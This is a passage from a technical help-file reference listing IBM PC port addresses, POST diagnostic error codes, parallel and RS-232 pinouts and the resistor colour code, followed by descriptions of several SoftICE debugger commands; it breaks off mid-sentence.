        FF  Key Detection Error or Overrun Error for Scan Code Set 2 or 3,
            replaces last key in the keyboard buffer if the buffer is full.
        id  Keyboard ID Response, keyboard sends a two byte ID after ACK'ing
            the Read ID command.  The byte stream contains 83AB in LSB, MSB
            order.  The keyboard then resumes scanning.


        - command F7 through FD are NOP's on the AT and are ACK'ed but not
          acted upon
        - see ~8042~  ~MAKE CODES~  ~BREAK CODES~  ~INT 16,3~
```

:parallel port:printer port
^Parallel Printer Port

```
%       Port 3BC printer data output  (readable)

         ³7³6³5³4³3³2³1³0³  ports 278, 378, 3BC
          ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ data bit 0, hardware pin 2
          ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ data bit 1, hardware pin 3
          ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ data bit 2, hardware pin 4
          ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ data bit 3, hardware pin 5
          ³ ³ ³ ÀÄÄÄÄÄÄÄÄ data bit 4, hardware pin 6
          ³ ³ ÀÄÄÄÄÄÄÄÄÄ data bit 5, hardware pin 7
          ³ ÀÄÄÄÄÄÄÄÄÄÄ data bit 6, hardware pin 8
          ÀÄÄÄÄÄÄÄÄÄÄÄ data bit 7, hardware pin 9

%       Port 3BD printer status register   (Parallel Printer Port)

         ³7³6³5³4³3³2³1³0³  ports 279, 379, 3BD
          ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = time-out
          ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄÄ unused
          ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1 = error,     pin 15
          ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = on-line,  pin 13
          ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ 1 = out of paper,  pin 12
          ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 0 = Acknowledge,  pin 10
          ÀÄÄÄÄÄÄÄÄÄÄÄÄ 0 = busy,  pin 11

%       Port 3BE printer control register   (Parallel Printer Port)

         ³7³6³5³4³3³2³1³0³  ports 27A, 37A, 3BE
```

```
        ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = output data to printer,  (pin 1)
        ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = auto line feed,  (pin 14)
        ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 0 = initialize printer,  (pin 16)
        ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = printer reads output,  (pin 17)
        ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 0 = IRQ disable,1=IRQ enable for ACK
        ÀÄÁÄÁÄÄÄÄÄÄÄÄÄÄ unused

:ports:port addresses:hardware ports
^PORTS      Common I/O Port Addresses

      Port addresses are not always constant across PC, AT and PS/2
      Unless marked, port addresses are relative to PC and XT only

%     000-00F  8237 DMA controller
      000 Channel 0 address register
      001 Channel 0 word count
      002 Channel 1 address register
      003 Channel 1 word count
      004 Channel 2 address register
      005 Channel 2 word count
      006 Channel 3 address register
      007 Channel 3 word count
      008 Status/command register
      009 Request register
      00A Mask register
      00B Mode register
      00C Clear MSB/LSB flip flop
      00D Master clear temp register
      00E Clear mask register
      00F Multiple mask register

%     010-01F  8237 DMA Controller (PS/2 model 60 & 80), reserved (AT)

%     020-02F  8259A Master Programmable Interrupt Controller
      020 8259 Command port  (see ~8259~)
      021 8259 Interrupt mask register  (see 8259)

%     030-03F  8259A Slave Programmable Interrupt Controller (AT,PS/2)

%     040-05F  8253 or 8254 Programmable Interval Timer (PIT, see ~8253~)
      040 8253 channel 0, counter divisor
      041 8253 channel 1, RAM refresh counter
      042 8253 channel 2, Cassette and speaker functions
      043 8253 mode control  (see ~8253~)
      044 8254 PS/2 extended timer
      047 8254 Channel 3 control byte

%     060-067  8255 Programmable Peripheral Interface  (PC,XT, PCjr)
      060 8255 Port A keyboard input/output buffer (output PCjr)
      061 8255 Port B output
      062 8255 Port C input
      063 8255 Command/Mode control register

%     060-06F  8042 Keyboard Controller  (AT,PS/2)
      060 8042 Keyboard input/output buffer register
      061 8042 system control port (for compatability with 8255)
      064 8042 Keyboard command/status register

      070 CMOS RAM/RTC, also NMI enable/disable (AT,PS/2, see ~RTC~)
      071 CMOS RAM data  (AT,PS/2)

      080 Manufacturer systems checkpoint port (used during POST)
%     080-090  DMA Page Registers
```

```
        081 High order 4 bits of DMA channel 2 address
        082 High order 4 bits of DMA channel 3 address
        083 High order 4 bits of DMA channel 1 address

%       090-097  POS/Programmable Option Select  (PS/2)
        090 Central arbitration control Port
        091 Card selection feedback
        092 System control and status register
        094 System board enable/setup register
        095 Reserved
        096 Adapter enable/setup register
        097 Reserved

        0A0 NMI Mask Register (PC,XT) (write 80h to enable NMI, 00h disable)
%       0A0-0BF  Second 8259 Programmable Interrupt Controller (AT, PS/2)
        0A0 Second 8259 Command port  (see ~8259~)
        0A1 Second 8259 Interrupt mask register  (see 8259)

        0C0 TI SN76496 Programmable Tone/Noise Generator (PCjr)
%       0C0-0DF  8237 DMA controller 2 (AT)
        0C2 DMA channel 3 selector  (see ports 6 & 82)

        0E0-0EF  Reserved

%       0F0-0FF  Math coprocessor (AT, PS/2)
%       0F0-0F5  PCjr Disk Controller
        0F0 Disk Controller
        0F2 Disk Controller control port
        0F4 Disk Controller status register
        0F5 Disk Controller data port

%       0F8-0FF  Reserved for future microprocessor extensions

%       100-10F  POS Programmable Option Select (PS/2)
        100 POS Register 0, Adapter ID byte (LSB)
        101 POS Register 1, Adapter ID byte (MSB)
        102 POS Register 2, Option select data byte 1
            Bit 0 is card enable (CDEN)
        103 POS Register 3, Option select data byte 2
        104 POS Register 4, Option select data byte 3
        105 POS Register 5, Option select data byte 4
            Bit 7 is (-CHCK)
            Bit 6 is reserved
        106 POS Register 6, subaddress extension (LSB)
        107 POS Register 7, subaddress extension (MSB)

%       110-1EF  System I/O channel

%       170-17F  Fixed disk 1 (AT)
        170 disk 1 data
        171 disk 1 error
        172 disk 1 sector count
        173 disk 1 sector number
        174 disk 1 cylinder low
        175 disk 1 cylinder high
        176 disk 1 drive/head
        177 disk 1 status

%       1F0-1FF  Fixed disk 0 (AT)
        1F0 disk 0 data
        1F1 disk 0 error
        1F2 disk 0 sector count
        1F3 disk 0 sector number
```

```
       1F4 disk 0 cylinder low
       1F5 disk 0 cylinder high
       1F6 disk 0 drive/head
       1F7 disk 0 status

%      200-20F  Game Adapter (see GAME PORT or ~JOYSTICK~)

%      210-217  Expansion Card Ports (XT)
       210 Write: latch expansion bus data
           read:  verify expansion bus data
       211 Write: clear wait,test latch
           Read:  MSB of data address
       212 Read:  LSB of data address
       213 Write: 0=enable, 1=/disable expansion unit
       214-215  Receiver Card Ports
       214 write: latch data, read: data
       215 read:  MSB of address, next read: LSB of address

       21F Reserved

%      220-26F  Reserved for I/O channel

%      270-27F  Third parallel port (see ~PARALLEL PORT~)
       278 data port
       279 status port
       27A control port

%      280-2AF  Reserved for I/O channel

%      2A2-2A3  MSM58321RS clock

%      2B0-2DF  Alternate EGA, or 3270 PC video (XT, AT)

       2E0 Alternate EGA/VGA
       2E1 GPIB Adapter  (AT)

%      2E2-2E3  Data acquisition adapter (AT)

%      2E8-2EF  COM4 non PS/2 UART (Reserved by IBM) (see ~UART~)

%      2F0-2F7  Reserved

%      2F8-2FF  COM2 Second Asynchronous Adapter (see UART)
              Primary Asynchronous Adapter for PCjr

%      300-31F  Prototype Experimentation Card (except PCjr)
              Periscope hardware debugger
%      320-32F  Hard Disk Controller  (XT)
       320 Read from/Write to controller
       321 Read: Controller Status, Write: controller reset
       322 Write: generate controller select pulse
       323 Write: Pattern to DMA and interrupt mask register
           (see ports 0F,21,C2)
       324 disk attention/status

%      330-33F  Reserved for XT/370

%      340-35F  Reserved for I/O channel

%      360-36F  PC Network

%      370-377  Floppy disk controller (except PCjr)
       372 Diskette digital output
```

```
      374 Diskette controller status
      375 Diskette controller data
      376 Diskette controller data
      377 Diskette digital input

%     378-37F  Second Parallel Printer (see ~PARALLEL PORT~)
             First Parallel Printer (see PARALLEL PORT)
      378 data port
      379 status port
      37A control port

%     380-38F  Secondary Binary Synchronous Data Link Control (SDLC) adapter
      380 On board 8255 port A, internal/external sense
      381 On board 8255 port B, external modem interface
      382 On board 8255 port C, internal control and gating
      383 On board 8255 mode register
      384 On board 8253 channel square wave generator
      385 On board 8253 channel 1 inactivity time-out
      386 On board 8253 channel 2 inactivity time-out
      387 On board 8253 mode register
      388 On board 8273 read: status; Write: Command
      389 On board 8273 write: parameter; read: response
      38A On board 8273 transmit interrupt status
      38B On board 8273 receiver interrupt status
      38C On board 8273 data

%     390-39F  Cluster Adapter

%     3A0-3AF  Primary Binary Synchronous Data Link Control (SDLC) adapter
      3A0 On board 8255 port A, internal/external sense
      3A1 On board 8255 port B, external modem interface
      3A2 On board 8255 port C, internal control and gating
      3A3 On board 8255 mode register
      3A4 On board 8253 counter 0 unused
      3A5 On board 8253 counter 1 inactivity time-outs
      3A6 On board 8253 counter 2 inactivity time-outs
      3A7 On board 8253 mode register
      3A8 On board 8251 data
      3A9 On board 8251 command/mode/status register

%     3B0-3BF Monochrome Display Adapter (write only, see ~6845~)
      3B0 port address decodes to 3B4
      3B1 port address decodes to 3B5
      3B2 port address decodes to 3B4
      3B3 port address decodes to 3B5
      3B4 6845 index register, selects which register [0-11h]
          is to be accessed through port 3B5
      3B5 6845 data register [0-11h] selected by port 3B4,
          registers 0C-0F may be read.  If a read occurs without
          the adapter installed, FFh is returned.  (see 6845)
      3B6 port address decodes to 3B4
      3B7 port address decodes to 3B5
      3B8 6845 Mode control register
      3B9 reserved for color select register on color adapter
      3BA status register (read only)
      3BB reserved for light pen strobe reset

%     3BC-3BF  Primary Parallel Printer Adapter (see ~PARALLEL PORT~)
      3BC parallel 1, data port
      3BD parallel 1, status port
      3BE parallel 1, control port

%     3C0-3CF  EGA/VGA
```

```
        3C0 VGA attribute and sequencer register
        3C1 Other video attributes
        3C2 EGA, VGA, CGA input status 0
        3C3 Video subsystem enable
        3C4 CGA, EGA, VGA sequencer index
        3C5 CGA, EGA, VGA sequencer
        3C6 VGA video DAC PEL mask
        3C7 VGA video DAC state
        3C8 VGA video DAC PEL address
        3C9 VGA video DAC
        3CA VGA graphics 2 position
        3CC VGA graphics 1 position
        3CD VGA feature control
        3CE VGA graphics index
        3CF Other VGA graphics

%       3D0-3DF Color Graphics Monitor Adapter (ports 3D0-3DB are
              write only, see 6845)
        3D0 port address decodes to 3D4
        3D1 port address decodes to 3D5
        3D2 port address decodes to 3D4
        3D3 port address decodes to 3D5
        3D4 6845 index register, selects which register [0-11h]
            is to be accessed through port 3D5
        3D5 6845 data register [0-11h] selected by port 3D4,
            registers 0C-0F may be read.  If a read occurs without
            the adapter installed, FFh is returned.  (see ~6845~)
        3D6 port address decodes to 3D4
        3D7 port address decodes to 3D5
        3D8 6845 Mode control register (CGA, EGA, VGA, except PCjr)
        3D9 color select palette register (CGA, EGA, VGA, see 6845)
        3DA status register (read only, see 6845, PCjr VGA access)
        3DB Clear light pen latch (any write)
        3DC Preset Light pen latch
        3DF CRT/CPU page register (PCjr only)

%       3E8-3EF  COM3 non PS/2 UART (Reserved by IBM) (see ~UART~)

%       3F0-3F7  Floppy disk controller (except PCjr)
        3F0 Diskette controller status A
        3F1 Diskette controller status B
        3F2 controller control port
        3F4 controller status register
        3F5 data register (write 1-9 byte command, see ~INT 13~)
        3F6 Diskette controller data
        3F7 Diskette digital input

%       3F8-3FF  COM1 Primary Asynchronous Adapter  (see ~UART~)

        3220-3227  PS/2 COM3 (see UART)
        3228-322F  PS/2 COM4 (see UART)
        4220-4227  PS/2 COM5 (see UART)
        4228-422F  PS/2 COM6 (see UART)
        5220-5227  PS/2 COM7 (see UART)
        5228-522F  PS/2 COM8 (see UART)

        - many cards designed for the ISA ~BUS~ only uses the lower 10 bits
          of the port address but some ISA adapters use addresses beyond
          3FF.  Any address that matches in the lower 10 bits will decode
          to the same card.   It is up to the adapters to resolve or ignore
          the high bits of the port addresses.   An example would be the
          Cluster adapter that has a port address of 390h.  The second
          cluster adapter has a port address of 790h which resolves to
```

```
        the same port address with the cards determining which one
        actually gets the data.
:diagnostic codes:POST errors
^DIAGS      IBM PC Diagnostic Error Codes

%     Code     Description     (Diagnostic Error Codes)

       1x   undetermined problem errors
       2x   power supply errors
       61   battery error (PS/2)
       62   configuration changed but no adaptors changed or CRC error
       63   memory size during POST does not match ~CMOS~ RAM
       65   card Id's in CMOS do not match system

%     1xx   System Board Errors
      101   system board failed
      102   BIOS ROM checksum error (PC, XT), Timer (AT)
      103   BASIC ROM checksum error (PC, XT), Timer interrupt (AT)
      104   interrupt controller (PC, XT), Protected mode (AT)
      105   timer (PC,XT), Last ~8042~ command not accepted (AT)
      106   converting logic test failure
      107   adapter card or math coprocessor (NMI)
      108   timer bus test
      109   DMA test error
      110   system board memory error (PS/2)
      111   adapter memory
      112   system unit adapter failure
      114   system unit and adapter card unit failure (PS/1)
      121   unexpected hardware interrupt
      131   cassette wrap test failed
      151   real-time clock, CMOS RAM or battery
      152   real-time clock
      161   system options error, battery failure
      162   CMOS RAM configuration error
      163   CMOS time and date not set
      164   system memory configuration is incorrect
      165   adapter added/removed
      199   user indicated configuration not correct

%     2xx   RAM Errors
      201   memory test error
      202   memory address error (Line error   0 - 15)
      203   memory address error (Line error 16 - 23)
      216   motherboard memory

%     3xx   Keyboard Errors
      301   keyboard did not respond to software reset or a stuck
            (number preceding 301 is scan code for stuck key)
      302   user indicated keyboard error or AT system unit is locked
      303   keyboard or system board error
      304   keyboard or system board error; CMOS does not match system
      341   replace keyboard
      342   replace keyboard interface cable
      343   replace enhancement card or cable
      365   keyboard (replace keyboard)
      366   interface cable (replace cable)
      367   enhancement card or cable (replace)

%     4xx   Monochrome Monitor Errors
      401   monochrome memory test, horizontal sync frequency
            test, or video test failed
      408   user indicated display attributes failure
      416   user indicated character set failure
```

```
      424   user indicated 80x25 mode failure
      432   parallel port test failed (monochrome adapter)

%     5xx   Color Monitor Errors
      501   CGA memory test failed, horizontal sync frequency test, or
            video test failed
      508   user indicated display attribute failure
      516   user indicated character set failure
      524   user indicated 80x25 mode failure
      532   user indicated 40x25 mode failure
      540   user indicated 320x200 graphics mode failure
      548   user indicated 640x200 graphics mode failure
      556   light pen test
      564   user indicated screen paging test

%     6xx   Diskette Drive/Adapter Errors
      601   diskette power on diagnostics test failed
      602   diskette test failed (boot record not valid)
      603   diskette size error
      606   diskette verify function failed
      607   write protected diskette
      608   bad command diskette status returned
      610   diskette initialization failed
      611   time-out - diskette status returned
      612   bad NEC ~FDC~ - diskette status returned
      613   bad DMA - diskette status returned
      614   DMA boundary error
      621   bad seek - diskette status returned
      622   bad CRC - diskette status returned
      623   record not found - diskette status returned
      624   bad address mark - diskette status returned
      625   bad NEC seek - diskette status returned
      626   diskette data compare error
      627   diskette change line error
      628   diskette removed

%     7xx   8087 Math Coprocessor
      701   coprocessor test failure

%     9xx   Parallel Printer Adapter Errors
      901   parallel printer adapter test failed

%     10xx  Alternate Parallel Printer Adapter
      1001  alternate printer adapter test failure

%     11xx  Asynchronous Communications Adapter Errors
      1101  asynchronous communications adapter test failed
      1110  modem status register not clear
      1111  ring-indicate
      1112  trailing edge ring-indicate
      1113  receive and delta receive line signal detect
      1114  receive line signal detect
      1115  delta receive line signal detect
      1116  line control register: all bits cannot be set
      1117  line control register: all bits cannot be reset
      1118  transmit holding and/or shift register stuck on
      1119  data ready stuck on
      1120  interrupt enable register: all bits cannot be set
      1121  interrupt enable register: all bits cannot be reset
      1122  interrupt pending stuck on
      1123  interrupt ID register stuck on
      1124  modem control register: all bits cannot be set
      1125  modem control register: all bits cannot be reset
```

1126 modem status register: all bits cannot be set
1127 modem status register: all bits cannot be reset
1128 interrupt ID
1129 cannot force overrun error
1130 no modem status interrupt
1131 invalid interrupt pending
1132 no data ready
1133 no data available interrupt
1134 no transmit holding interrupt
1135 no interrupts
1136 no received line status interrupt
1137 no receive data available
1138 transmit holding register not empty
1139 no modem status interrupt
1140 transmit holding register not empty
1141 no interrupts
1142 no IRQ4 interrupt
1143 no IRQ3 interrupt
1144 no data transferred
1145 maximum baud rate
1146 minimum baud rate
1148 time-out error
1149 invalid data returned
1150 modem status register error
1151 no DSR and delta DSR
1152 no DSR
1153 no delta DSR
1154 modem status register not clear
1155 no CTS and delta CTS
1156 no CTS
1157 no delta CTS

% 12xx Alternate Asynchronous Communications Adapter
1200-1257 same as 1100-1157

% 13xx Game Control Adapter Errors
1301 game control adapter test failed
1302 joystick test failed
1380 audio card and joystick (PS/1)

% 14xx Printer Errors
1401 printer test failed
1404 matrix printer failed

% 15xx SDLC Communications Adapter Errors
1501 adapter test failure
1510 8255 port b failure
1511 8255 port a failure
1512 8255 port c failure
1513 8253 timer 1 did not reach terminal count
1514 8253 timer 1 stuck on
1515 8253 timer 0 did not reach terminal count
1516 8253 timer 0 stuck on
1517 8253 timer 2 did not reach terminal count
1518 8253 timer 2 stuck on
1519 8273 port b error
1520 8273 port a error
1521 8273 command/read time-out
1522 interrupt level 4 failure
1523 ring Indicate stuck on
1524 receive clock stuck on
1525 transmit clock stuck on
1526 test indicate stuck on

```
       1527  ring indicate not on
       1528  receive clock not on
       1529  transmit clock not on
       1530  test indicate not on
       1531  DSR not on
       1532  CD not on
       1533  CTS not on
       1534  DSR stuck on
       1535  CD stuck on
       1536  CTS stuck on
       1537  level 3 interrupt failure
       1538  receive interrupt results error
       1539  wrap data compare error
       1540  DMA channel 1 error
       1541  DMA channel 1 error
       1542  error in 8273 error checking or status reporting
       1547  stray interrupt level 4
       1548  stray interrupt level 3
       1549  interrupt presentation sequence time-out

%      16xx  Display Emulation Errors (327x, 5520, 525x)

%      17xx  Fixed Disk Errors
       1701  post error
       1702  adapter error
       1703  drive error (seek)
       1704  adapter or drive error
       1705  no record found
       1706  write fault error
       1707  track 0 error
       1708  head select error
       1709  defective error check
       1710  read buffer overrun
       1711  bad address mark
       1712  undetermined error
       1713  data compare error
       1714  drive not ready
       1780  disk 0 failure
       1781  disk 1 failure
       1782  disk controller failure
       1790  fixed disk 0 error
       1791  fixed disk 1 error

%      18xx  I/O Expansion Unit Errors
       1801  I/O expansion unit POST error
       1810  enable/disable failure
       1811  extender card wrap test failed (disabled)
       1812  high order address lines failure (disabled)
       1813  wait state failure (disabled)
       1814  enable/disable could not be set on
       1815  wait state failure (enabled)
       1816  extender card wrap test failed (enabled)
       1817  high order address lines failure (enabled)
       1818  disable not functioning
       1819  wait request switch not set correctly
       1820  receiver card wrap test failure
       1821  receiver high order address lines failure

%      19xx  3270 PC Attachment Card Errors

%      20xx  Bisync Communications Adapter Errors
       2010  8255 port a failure
       2011  8255 port b failure
```

2012 8255 port c failure
2013 8253 timer 1 did not reach terminal count
2014 8253 timer 1 stuck on
2016 8253 timer 2 didn't reach terminal count or timer 2 stuck on
2017 8251 DSR failed to come on
2018 8251 CTS not sensed
2019 8251 DSR stuck on
2020 8251 CTS stuck on
2021 8251 hardware reset failed
2022 8251 software reset failed
2023 8251 software error reset failed
2024 8251 transmit ready did not come on
2025 8251 receive ready did not come on
2026 8251 could not force "overrun" error status
2027 interrupt failure, no timer interrupt
2028 transmit interrupt, card or planar failure
2029 transmit interrupt, card failure
2030 receive interrupt, card or planar failure
2031 receive interrupt, card failure
2033 ring indicate stuck on
2034 receive clock stuck on
2035 transmit clock stuck on
2036 test indicate stuck on
2037 ring indicate stuck on
2038 receive clock not on
2039 transmit clock not on
2040 test indicate not on
2041 DSR not on
2042 CD not on
2043 CTS not on
2044 DSR stuck on
2045 CD stuck on
2046 CTS stuck on
2047 unexpected transmit interrupt
2048 unexpected receive interrupt
2049 transmit data did not equal receive data
2050 8251 detected overrun error
2051 lost DSR during data wrap
2052 receive time-out during data wrap

%   21xx Alternate Bisync Communications Adapter Errors
2100-2152 same as 2000-2052

%   22xx Cluster Adapter Errors

%   24xx EGA Errors
2401 adapter test failure
2408 user-indicated display attributes
2416 user-indicated character set
2424 user-indicated 80x25 mode
2432 user-indicated 40x25 mode
2440 user-indicated 320x200 graphics mode
2448 user-indicated 640x200 graphics mode
2456 light pen test
2464 user-indicated screen paging test

%   2501 EGA Display Error

%   28xx 3278/79 Emulator Adapter (PC, XT)

%   29xx Color Matrix Printer Errors

%   30xx Local Area Network Adapter

```
%     31xx  Alternate Local Area Network Adapter

%     33xx  Compact Printer Errors

%     36xx  IEEE 488 Adapter

%     37xx  Reserved for Future Use

%     38xx  Data Acquisition Adapter

%     39xx  PGA Display and/or Adapter

%     48xx  Internal Modem

%     49xx  Alternate Internal Modem

%     71xx  Voice Communications Adapter

%     73xx  3.5 Inch Diskette Drive
      7301  diskette drive/adapter test failure
      7306  diskette change line error
      7307  write-protected diskette
      7308  bad command
      7310  track zero error
      7311  timeout
      7312  bad NEC7313 bad DMA
      7314  DMA boundary error
      7315  bad index
      7316  speed error
      7321  bad seek
      7322  bad CRC
      7323  record not found
      7324  bad address mark
      7325  bad NEC seek

%     86xx  PS/1 Mouse Error


      - all error codes for the diagnostic and advanced diagnostic
        packages for the PC, XT and AT are represented with the device
        number followed by two digits other than 00. The device number
        plus 00 represents successful completion of the test.

:resistor values
^Resistor Color Code Chart

%          Color     Digit     Multiplier

           Black   0      1
           Brown   1      10
           Red     2      100        Gold   ñ 5% tolerance
           Orange  3      1,000      Silver   ñ10% tolerance
           Yellow  4      10,000
           Green   5      100,000
           Blue    6      1,000,000
           Violet  7      10,000,000
           Gray    8      100,000,000
           White   9      1,000,000,000

%           ÕÍÛÛÛÛ°ÛÛ±ÛÛ²ÛÛ°ÛÛÛÛÍ¸
%           Á              Á
                3   3   3   3
```

```
                ³  ³  ³  ÀÄÄÄÄÄÄÄÄÄÄÄ tolerance (gold or silver)
                ³  ³  ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ Ohm value multiplier
                ÀÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ first 2 digits of Ohm value
:RS232 pins:serial ports
^RS232      Communication Configuration

%           IBM PC                        IBM AT
%     Pin  25-Pin Signal (DTE)       Pin  9-Pin Signal (DTE)

        1   Chassis Ground  (GND)    1   Carrier Detect (CD)
        2   Transmit Data (TD)       2   Receive Data (RD)
        3   Receive Data (RD)        3   Transmit Data (TD)
        4   Request to Send (RTS)    4   Data Terminal Ready (DTR)
        5   Clear to Send (CTS)      5   Signal Ground (SG)
        6   Data Set Ready (DSR)     6   Data Set Ready (DSR)
        7   Signal Ground (SG)       7   Request to Send (RTS)
        8   Carrier Detect (CD)      8   Clear to Send (CTS)
      9-19  (not used)        9   Ring Indicator (RI)
       20   Data Terminal Ready (DTR)
       22   Ring Indicator (RI)

      There are two general cable configurations used with the RS-232C
      Communications Standard:

        Data Terminal Equipment (DTE): IBM PC's, printers, plotters, etc
        Data Communication Equipment (DCE): modems, multiplexors, etc

      DCE to DTE requires all lines run straight through
      DTE to DTE usually requires swapping of the following lines

            RD  and TD        RD  and TD
            RTS and CTS or    RTS,CTS and DCD
            DTR and DSR       DCD and RTS,CTS

%     Signal Functions

      GND    Ground                protective safety ground
      TD     Transmit Data         DTE output data
      RD     Receive Data          DTE input data
      RTS    Request To Send       DTE output, DTE would like to transmit
      CTS    Clear To Send         DTE input, DCE is ready to transmit
      DSR    Data Set Ready        DTE input, DCE is ready to communicate
      SG     Signal Ground         provides a Zero reference voltage
      DCD    Data Carrier Detect  DTE input, data link established, also
                             known as Receive Line Signal Detect (RLSD)
      DTR    Data Terminal Ready  DTE output, device ready
      RI     Ring Indicator        DTE input, announces incoming call


      - RTS/CTS is used for half duplex line turn around
      - in half duplex DCD is asserted only by the receiving device
      - full duplex modems tie CTS & DCD together (no CTS/RTS handshaking)
      - most modems require DTR to be present to respond to commands
      - maximum voltages are between -15 volts and +15 volts
      - binary outputs are between +5 to +15 volts and -5 to -15 volts
      - binary inputs are between +3 to +15 volts and -3 to -15 volts
      - input voltages between -3 to +3 are undefined while output voltages
        between -5 and +5 are undefined
      - positive voltages indicate ON or SPACE, negative voltages indicate
        OFF or MARK
```

: .
^. Windows 3.1, Windows 95, Windows NT WindowControl
^Locate the current instruction in the Code window.

%Syntax
 .

%Use
 When the Code window is visible, the . (Dot) command makes the instruction at the current
 CS:EIP visible and highlights it.

%For Windows 95 and Windows NT
 The command switches contexts back to the original context that SoftICE popped up in.

: ?
^? WINDOWS 3.1, WINDOWS 95, WINDOWS NT MISCELLANEOUS
^Evaluate an expression.

%Syntax
%For Windows 3.1
 ? [command | expression]

%For Windows 95 and Windows NT
 ? expression

%Use
%For Windows 3.1
 Under Windows 3.1, the parameter you supply to the ? command determines whether help is
 displayed or an expression is evaluated. If you specify a command, ? displays detailed
 information about the command, including the command syntax and an example. If you
 specify an expression, the expression is evaluated, and the result is displayed in hexadecimal,
 decimal, signed decimal (only if < 0), and ASCII.

%For Windows 95 and Windows NT
 Under Windows 95 and Windows NT, the ? command only evaluates expressions. (Refer to
 H on page 92 for information about getting help under Windows 95 and Windows NT.)
 To evaluate an expression enter the ? command followed by the expression you want to
 evaluate. SoftICE displays the result in hexadecimal, decimal, signed decimal (only if < 0),
 and ASCII.

%Example
 The following command displays the hexadecimal, decimal, and ASCII representations of the
 value of the expression 10*4+3.

```
.:? 10*4+3
00000043 0000000067 "C"
```

 See Also ~H~

:A

^A Windows 3.1, Windows 95, Windows NT Miscellaneous
^Assemble code.

%Syntax
 A [address]

%Use
 Use the SoftICE assembler to assemble instructions directly into memory. The assembler
 supports the standard Intel 80x86 instruction set.

 If you do not specify the address, assembly occurs at the last address where instructions were
 assembled. If you have not entered the A command before and did not specify the address, the
 current CS:EIP address is used.

 The A command enters the SoftICE interactive assembler. An address displays as a prompt for
 each assembly line. After you type an assembly language instruction and press Enter, the
 instructions assemble into memory at the specified address. Type instructions in the standard
 Intel format. To exit assembler mode, press Enter at an address prompt.

 If the address range in which you are assembling instructions is visible in the Code window,
 the instructions change interactively as you assemble.

 The SoftICE assembler supports the following instruction sets:
 . For Windows 3.1: 386, Floating Point
 . For Windows 95 and Windows NT: 386, 486, Pentium, Pentium Pro, all corresponding
   numeric coprocessor instruction sets, and MMX instruction sets

 SoftICE also supports the following special syntax:
 . Enter USE16 or USE32 on a separate line to assemble subsequent instructions as 16-bit
   or 32-bit, respectively. If you do not specify USE16 or USE32, the default is the same as
   the mode of the current CS register.
 . Mnemonic followed by a list of bytes and/or quoted strings separated by spaces or
   commas.
 . RETF mnemonic represents a far return.
 . Use WORD PTR, BYTE PTR, DWORD PTR, and FWORD PTR to determine data
   size, if there is no register argument.
   Example: MOV BYTE PTR ES:[1234.],1
 . Use FAR and NEAR to explicitly assemble far and near jumps and calls. If you do not
   specify either, the default is NEAR.
 . Place operands referring to memory locations in square brackets.
   Example: MOV AX,[1234]

 Any changes you make to 32-bit code are ``sticky.'' This means they remain in place even if
 you load or reload the module you change. To remove the changes, do one of the following:
 restart Windows NT, flush the memory image from the cache, or modify the module.

%Example
 When you use the following command:

A CS:1234
 the assembler prompts you for assembly instructions. Enter all instructions and press Enter at
 the address prompt. The assembler assembles the instructions beginning at offset 1234h
 within the current code segment.

:ACTION
^ACTION Windows 3.1 ModeControl
^Set action after breakpoint is reached.

%Syntax
 ACTION [nmi|int1|int3|here|interrupt-number|debugger-name]
 interrupt-number: Valid interrupt number between 0 and 5Fh.
 debugger-name: Module name of the Windows application debugger to gain control of
 on a SoftICE breakpoint.

%Use
 The ACTION command determines where to give control when breakpoint conditions are
 met. In most cases, you can use ACTION to pass control to an application debugger you are
 using in conjunction with SoftICE. Use the HERE parameter to return to SoftICE when
 break conditions have been met. Use the NMI, INT1, and INT3 parameters as alternatives
 for activating DOS debuggers when break conditions are met. Use debugger-name to activate
 Windows debuggers. To find the module name of the debugger, use the MOD command.

 If you specify debugger-name, an INT 0 triggers the Windows debugger. SoftICE ignores
 breakpoints that the Windows debugger causes if the debugger accesses memory covered by a
 memory location or range breakpoint. When SoftICE passes control to the Windows
 debugger with an INT 0, the Windows debugger responds as if a divide overflow occurred
 and displays a message. Ignore this message because the INT 0 was not caused by an actual
 divide overflow.

 Note: The ACTION command is obsolete under Windows 95 and Windows NT.

%Example
 When using SoftICE with the following products, use the corresponding command:
 Product______________________________SoftICE Command

 CodeView for DOS   ACTION nmi
 Note: SoftICE generates a non-maskable interrupt when
 break conditions are met. This gives control to CodeView for DOS.
 CodeView for Windows   ACTION cvw
 Borland's Turbo Debugger for Windows ACTION tdw
 Multiscope's Debugger for Windows   ACTION rtd

:ADDR
^ADDR Windows 95 SystemInformation
^Display or switch to address context.

%Syntax
 ADDR [context-handle | process-name]
 context-handle: Address context handle.

process-name: Name of a process.

%Use
To be able to view the private address space for an application process, set the current address
context within SoftICE to that of the application by providing an address context-handle or
the process-name as the first parameter to the ADDR command. To view information on all
currently active contexts, use ADDR with no parameters. The first address context listed is the
current address context.
To use ADDR with
Windows NT, refer to ~ADDR (NT)~

For each address context, SoftICE prints the following information:
. address context handle
. address of the private page table entry array (PGTPTR) of the context
. number of entries that are valid in the PGTPTR array
. starting and ending linear addresses represented by the context
. address of the mutex object used to control access to the context's page tables
. name of the process that owns the context.
When you use the ADDR command with an address context parameter, SoftICE switches
address contexts the same way as Windows does.

When switching address contexts, Windows 95 copies all entries in the new context's
PGTPTR array to the page directory (pointed at by the CR3 register). A context switch
affects the addressing of the lower 2GB of memory from linear address 0 to 7FFFFFFFh.
Each entry in a PGTPTR array is a page directory entry which points at a page table that
represents 4MB of memory. There can be a maximum of 512 entries in the PGTPTR array to
represent the full 2GB. If there are less than 512 entries in the array, the rest of the entries in
the page directory are set to invalid values.

When running more than one instance of an application, the same owner name appears in the
